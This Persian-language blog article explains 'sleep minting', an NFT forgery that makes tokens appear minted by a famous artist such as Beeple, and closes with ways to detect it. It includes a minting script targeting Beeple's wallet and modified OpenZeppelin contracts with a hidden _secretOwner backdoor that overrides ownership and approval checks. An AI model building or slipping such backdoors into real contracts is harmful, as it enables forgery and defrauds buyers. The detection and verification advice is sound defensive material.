
توکنهای بیهمتا (NFT) رشدی شگفتانگیز در طی سال ۲۰۲۱ به خود دیدند. هفتهای بدون شنیدن خبر فروش توکنی با قیمت هنگفت نمیگذشت. اما هر جا که پای پول در میان باشد، سر و کله کلاهبرداران به آن باز میشود. هکهای گستردهای با استفاده از تکنیکهای مهندسی اجتماعی، آسیبپذیری قراردادهای هوشمند، دستیابی به اطلاعات مربوط به کمیابی توکنها پیش از عموم و غیره انجام شد و افراد زیادی متحمل زیان شدند. در این مطلب در مورد یکی از مواردی که ممکن است مورد سو استفاده جاعلان و کلاهبرداران قرار گیرد صحبت خواهیم کرد. این شیوه اسلیپ مینتینگ (Sleep Minting) نام دارد.
در ادامه شرح مختصری در خصوص چیستی اسلیپ مینتینگ و نحوه ایجاد آن خواهیم داد. همچنین چند روش برای تشخیص و مقابله با آن ارائه خواهیم کرد. با میهن بلاکچین همراه باشید.
اسلیپ مینتینگ چیست؟
یکی از دلایل اقبال استاندارد NFT، ثبت قابل اقبات اصالت و منشا یک اثر است. در واقع این نکته مهمترین پاسخ طرفداران توکنهای بی همتا و اترینها (Ethereans) در مقابل هجمه Right Click Savers (کسانی که اعتقاد داشتند به راحتی یک کلیک راست و فشردن گزینه ذخیرهسازی، میتوان به اثر دیجیتال دسترسی داشت) بود. اما اگر بتوان با مخفی کردن منشا اصلی اثر، مخاطبان کمدقت را فریب داد چه؟ این دقیقا کاری است که در Sleep Minting صورت میگیرد.
در ماه مارس سال گذشته، اثر «۵۰۰۰ روز اول» از بیپل (Beeple) به قیمت ۶۹ میلیون دلار به فروش رفت. کمی بعد، شخصی با نام مستعار Monsieur Personne (آقای هیچکس)، با هدف جلب توجه عموم به کاستیهای این حوزه، نسخهای جعلی از این اثر را در پلتفرم رریبل قرار داد. به نظر میرسید که این اثر توسط خود بیپل مینت شده و سپس به فروش رفته باشد. حتی شخصی حاضر به پرداخت ده اتر برای خرید آن شد. شناسه توکن آن نیز کاملا مطابق با اثر اصلی بود. پس مشکل کجا بود؟
به شکل خلاصه، مراحل اسلیپ مینت به شرح زیر است:
- کلاهبردار یک توکن بیهمتا را به آدرس والت یک هنرمند/خالق مشهور مینت میکند اما اجازه برگشت زدن این توکن را برای خود نگاه میدارد.
- سپس تراکنشی برای بازگشت این NFT از آدرس هنرمند ارسال میکند. اگر چه فرستنده این تراکنش فرد کلاهبردار (و نه هنرمند) است، به کمک استفاده از فیلدهای دادههای event، اینطور وانمود میکند که فرستنده همان هنرمند است.
- حال کلاهبردار صاحب اثری است که به نظر میرسد اصیل است و توسط هنرمندی معروف خلق شده است.
اما این کار چگونه انجام میشود؟ آیا باید نگران امنیت بلاکچین بود؟
اسلیپ مینتینگ چگونه انجام میشود؟
وقتی قراردادهای هوشمند در شبکه اتریوم (و دیگر شبکههای مبتنی بر EVM) فراخواهنی میشوند، اطلاعاتی را در قالب event logs ذخیره میکنند که عموما شرح اتفاقی است که رخ داده است. این لاگها، راهی برای ذخیره مقدار اندکی از دادهها به شکل دائمی بر روی بلاکچیناند. هر رکورد لاگ میتواند حداکثر شامل ۴ topic و خروجی دیگری با نام data باشد.
تاپیکها اطلاعات قابل جستجو و کوئری هستند که حداکثر میتوانند تا ۳۲ بایت طول داشته باشند. به خاطر این محدودیت، برای ذخیره اطلاعاتی همچون آدرسها مناسب هستند اما به درد ذخیره آرایهها و استرینگها نمیخورند.
اطلاعات بزرگتر در قسمت دیتا درج میشوند. اگرچه این قسمت قابل جستجو نیست، اما ثبت اطلاعات در آن به مقدار گس کمتری نیاز دارد (=ارزانتر است).
تاپیک اول (با اندیس صفر) تقریبا همواره امضای دیجیتال event است که هش نام event به وسیله تابع هش keccak256 به همراه نوع داده (uint، string و غیره) پارامترهاست. برای مثال در قرارداد هوشمند استاندارد یک توکن ERC-20، تاپیک اول برابر است با 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef که متناظر با Transfer(address,address,uint256) است.
حال ببینیم که از این موضوع چگونه در اسلیپ مینت استفاده میشود:
شرکت آلکمی (Alchemy) راهنمای خوبی برای ایجاد توکن بیهمتا دارد. با استفاده از کد این پروژه و افزودن خط پنجم و جاگذاری آرگومان BEEPLE_KEY (آدرس عمومی بیپل در این مثال)، میتوانید NFT خود را مستقیما به والت بیپل مینت کنید.
require('dotenv').config(); const API_URL = process.env.RINKEBY_API_URL; const PUBLIC_KEY = process.env.PUBLIC_KEY; const PRIVATE_KEY = process.env.PRIVATE_KEY; const BEEPLE_KEY = "0xc6b0562605D35eE710138402B878ffe6F2E23807" ... const tx = { 'from': PUBLIC_KEY, 'to': contractAddress, 'nonce': nonce, 'gas': 500000, 'data': nftContract.methods.mintToken(BEEPLE_KEY, tokenURI).encodeABI() };
با این کار، این طور به نظر میرسد که بیپل شخصا این کار را مینت کرده است. اما چگونه این NFT را به ادرس خود برگردانیم؟
شرکت اپن زپلین (Open Zeppelin)، نمونه قراردادهای هوشمند بهینهای را کدنویسی کرده و در اختیار عموم قرار داده است. میتوان با تغییری اندک در قراردادهای اپن زپلین، به مقصود خود رسید. به نمونه قرارداد توکن ERC-721 آن نگاهی بیاندازید:
//Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721 // SPDX-License-Identifier: MIT pragma solidity ^0.7.3; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract primes is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; constructor() ERC721("sleepMintToken", "SMT") public {} function mintToken(address recipient, string memory tokenURI) public onlyOwner returns (uint256) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _mint(recipient, newItemId); _setTokenURI(newItemId, tokenURI); return newItemId; } }
حال با کمی تغییر در قراردادهای Ownable.sol، خود را مالک حقیقی قرارداد معرفی میکنیم. خط ۲۰ را میافزاییم و آدرس خود را وارد میکنیم:
18 contract Ownable is Context { 19 address private _owner; 20 address private _secretOwner = 0x2830B5a3b5242BC2c64C390594ED971E7deD47D2;
همچنین تابع onlyOwner() را کمی تغییر میدهیم:
43 modifier onlyOwner() { 44 require((owner() == _msgSender() || _secretOwner == _msgSender()), "Ownable: caller is not the owner"); 45 _; 46 }
با افزودن خط ۴۴، اجازه انجام هر کاری از آدرسی به جز آدرس خود را میگیریم. این چنین حتی با انتقال مالکیت قرارداد (trasnferOwnership) و یا حتی لغو آن (renounceOwnership)، همچنان قابلیت دسترسی به اعمالی که تنها مالک میتواند به آن دسترسی داشته باشد را حفظ خواهیم کرد. با انجام کارهای ذکر شده، میتوانیم رد پای خود را بیشتر بپوشانیم و آن را طبیعیتر جلوه دهیم.
حال به سراغ قرارداد ERC721.sol میرویم. پس از بخش تعریف ثابتها و متغیرها، خط ۹۰ را (به همراه آدرس خود) می افزاییم:
90 address private _secretOwner = 0x2830B5a3b5242BC2c64C390594ED971E7deD47D2;
سپس توابع approve() و _isApprovedOrOwner() را دستکاری میکنیم:
190 function approve(address to, uint256 tokenId) 191 public virtual override { 192 address owner = ownerOf(tokenId); 193 require(to != owner, 194 "ERC721: approval to current owner"); 195 require(_msgSender() == owner || 196 isApprovedForAll(owner, _msgSender()) || 197 _msgSender() == _secretOwner, 198 "ERC721: approve caller is not owner nor approved for all" 199 ); 200 _approve(to, tokenId); 196 }
به خط ۱۹۷ و ۳۰۲ دقت کنید.
294 function _isApprovedOrOwner(address spender, uint256 tokenId) 295 internal view returns (bool) { 296 require(_exists(tokenId), 297 "ERC721: operator query for nonexistent token"); 298 address owner = ownerOf(tokenId); 299 return (spender == owner || 300 getApproved(tokenId) == spender || 301 isApprovedForAll(owner, spender) || 302 spender == _secretOwner ); 303 }
حال اگر این قراردادهای تغییر یافته را در بلاکچین راهاندازی کنید، میتوانید توکن NFT خود را به هر آدرسی که میخواهید اسلیپ مینت کنید و سپس به هر آدرس دلخواه انتقال دهید.
همانطور که احتمالا متوجه شدید، این مساله بیش از آن که ایرادی امنیتی باشد، ایرادی در رابط کاربری محسوب میشود. در هیچ یک از مراحل، هکر به کلید خصوصی هنرمند دسترسی ندارد و نمیتواند از جانب وی تراکنشی را آغاز کند، بلکه از نحوه خوانش اطلاعات مربوط به NFT در پلتفرمهای مطرح فروش سو استفاده میکند و اصالت اثر را به هنرمند منتسب میکند. برخی از این ایرادات برطرف شده است. برای مثال در تراکنش زیر، اپن سی از عبارت Airdrop (و نه Mint) برای توصیف این اثر استفاده میکند:
چگونه توکنهای اسلیپ مینت شده را تشخیص دهیم؟
همانطور که گفتیم، در هیچ یک از مراحل هکر به کلید خصوصی هنرمند دسترسی ندارد و نمیتواند تراکنشی را از جانب او آغاز کند، بنابراین یکی از سادهترین کارها، بررسی تراکنش مینت در اتر اسکن است.
همانطور که در تصویر بالا مشاهده میکنید، آدرس آغازکننده تراکنش (فیلد From) متفاوت از آدرسی است که به آن انتقال صورت گرفته است. این میتواند خط قرمزی باشد. همچنین دقت کنید که چنین حملهای تنها منحصر به توکنهای بیهمتا نیست و میتواند در خصوص توکنهای عادی نیز صورت گیرد. شاید متوجه وجود توکنهایی در کیف پول خود شده باشید و از سر کنجکاوی قرارداد هوشمند آنها را باز کرده باشید و مشاهده کرده باشید که افراد/صرافیهای معروفی مقادیر زیادی از آن را در اختیار دارند. در ۹۹٪ از موارد، چنین اتفاقی رخ داده است و کلاهبردار قصه ما، این گونه دام خود را پهن کرده است.
علاوه بر این، رباتهایی برای تشخیص این موضوع در پلتفرم Forta نوشته شدهاند. به این ربات توجه کنید. با عضویت در این سرویس، میتوانید مشترک هشدارهای این ربات و دیگر رباتهای تشخیص کلاهبرداری شوید. همچنین کد این ربات را میتوانید از اینجا مشاهده کنید.
یکی دیگر از راههای تشخیص اصالت، توجه به Verified بودن قرارداد هوشمند در اتر اسکن است. کلاهبرداران برای پوشاندن اعمال خود، معمولا قراردادهای خود را Verfiy نمیکنند تا دسترسی به متن قرارداد برای عموم مشکلتر باشد و تنها به بایتکد دسترسی داشته باشند. در صورتی که در طرف مقابل، آرتیستها (و یا هر فرد یا پروژهای که ریگی به کفشش نباشد) از شفافیت استقبال میکنند.
اما به عنوان یک هنرمند میتوانید برای اطمینان دادن به مخاطبان خود چه کنید؟ یکی از سادهترین روشها، استفاده از رمزنگاری کلید عمومی است. به کمک کلید خصوصی خود، پیغامی را هش کرده و در قسمت metadata توکن خود قرار میدهید. این گونه میتوانید با در اختیار قرار دادن کلید عمومی خود به مخاطبان، آنها را از صحت و اصالت اثر خود مطمئن سازید. آنها به کمک کلید عمومی شما میتوانند پیغام را دیکد کنند، اما تنها شما به کمک کلید خصوصی خود میتوانید چنین پیغامی را نوشته باشید. بنابراین با گنجاندن چنین اطلاعاتی در بخشی از متادیتای اثر، شرایط جعل هویت از بین میرود.
جمعبندی
Sleep Minting یکی از شیوههای کلاهبرداری و جعل آثار دیجیتال است که به واسطه رشد محبوبیت NFTها در سال گذشته باب شد و مورد سو استفاده قرار گرفت. در این روش جاعل با انجام تغییراتی در قراردادهای هوشمند توکن، آن را به کیف پول فردی مشهور میفرستد و اینطور وانمود میکند که او شخصا دست به مینت NFT زده است. سپس با فراخواندن آن به آدرس خود، هویتی جعلی به اثر میبخشد و آن را به مبلغی بالا به فروش می رساند. در این مطلب در خصوص چگونگی انجام اسلیپ مینتینگ صحبت کردیم و راههای جلوگیری و تشخیص از آن را شرح دادیم.
دیدگاه شما در مورد اسلیپ مینتینگ چیست؟ آیا تاکنون قربانی چنین حملاتی بودهاید؟ نظرات ارزشمند خود را با ما در میان بگذارید.